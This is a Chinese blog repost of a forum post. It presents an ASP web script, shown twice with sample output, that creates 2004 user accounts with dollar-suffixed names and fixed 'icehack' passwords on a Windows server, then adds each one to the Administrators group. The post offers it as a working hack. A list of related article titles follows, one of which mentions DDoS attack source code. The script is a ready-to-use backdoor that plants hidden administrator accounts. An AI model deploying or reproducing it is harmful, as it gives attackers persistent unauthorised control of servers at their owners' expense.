[转载]建立2004个超级帐号的代码
来源:互联网 发布:融资出让股份算法 编辑:程序博客网 时间:2024/04/30 06:29
[转载]建立2004个超级帐号的代码
来源:冰点论坛
作者: 蓝屏
我没提升权限;真的;不知道他是怎么设置的:反正真的成功了;)你看:
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
for i=1 to 2004
Set od=ob.Create("user","lp"&i&"$")
od.SetPassword "www.icehack"&i&".com"
od.SetInfo
Set of=GetObject(oz&"/lp"&i&"$,user")
oe.Add(of.ADsPath)
Next
Response.write "2004个超级帐号建立成功!"%>
结果:
Administrators
-----------------------------------------------------
Administrator
lp1$
lp2$
lp3$
lp4$
........
lp2003$
lp2004$ 2004个超级帐号建立成功!
来源:冰点论坛
作者: 蓝屏
我没提升权限;真的;不知道他是怎么设置的:反正真的成功了;)你看:
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
for i=1 to 2004
Set od=ob.Create("user","lp"&i&"$")
od.SetPassword "www.icehack"&i&".com"
od.SetInfo
Set of=GetObject(oz&"/lp"&i&"$,user")
oe.Add(of.ADsPath)
Next
Response.write "2004个超级帐号建立成功!"%>
结果:
Administrators
-----------------------------------------------------
Administrator
lp1$
lp2$
lp3$
lp4$
........
lp2003$
lp2004$ 2004个超级帐号建立成功!
- [转载]建立2004个超级帐号的代码
- 打造不完美的超级帐号(ALLyeSNO)
- 编写超级可读代码的15个最佳实践
- 7个超级实用的PHP代码片段
- 10个超级有用的PHP代码小片段
- 7个超级实用的PHP代码片段分享
- 7个超级实用的PHP代码片段分享
- 7个超级实用的PHP代码片段分享 .
- 10个超级有用的PHP代码片段
- 编写超级可读代码的15个最佳实践
- 10个超级有用的PHP代码样例
- 超级有用的9个PHP代码片段
- 建立隐藏的超级用户
- 【转】不死帐号的另类建立
- ubuntu 超级帐号 root
- 用程序来自动建立FTP帐号(serv-u的odbc设置)带.net新建帐户代码
- 超级实用且不花哨的js代码大全(转载)
- 如何建立隐藏的超级用户
- Mobile Robot
- 方便的boost_python
- DXUT库,CDXUTDialogResourceManager的一个不太好发现的问题
- SQL Server 2000 BUGs List
- 有感于《水和蒸汽性质计算软件包》
- [转载]建立2004个超级帐号的代码
- 移动机器人
- [转载]Windows 2000系统中如何获取系统的启动时间
- web历史记录
- [转载]Windows 2000中获取CPU使用率
- [转载]多线程DDOS攻击源代码
- 编程输出如下字符图形(2种方法)
- 我的QQ被盗了。。
- dev-c++4.9.6.0问题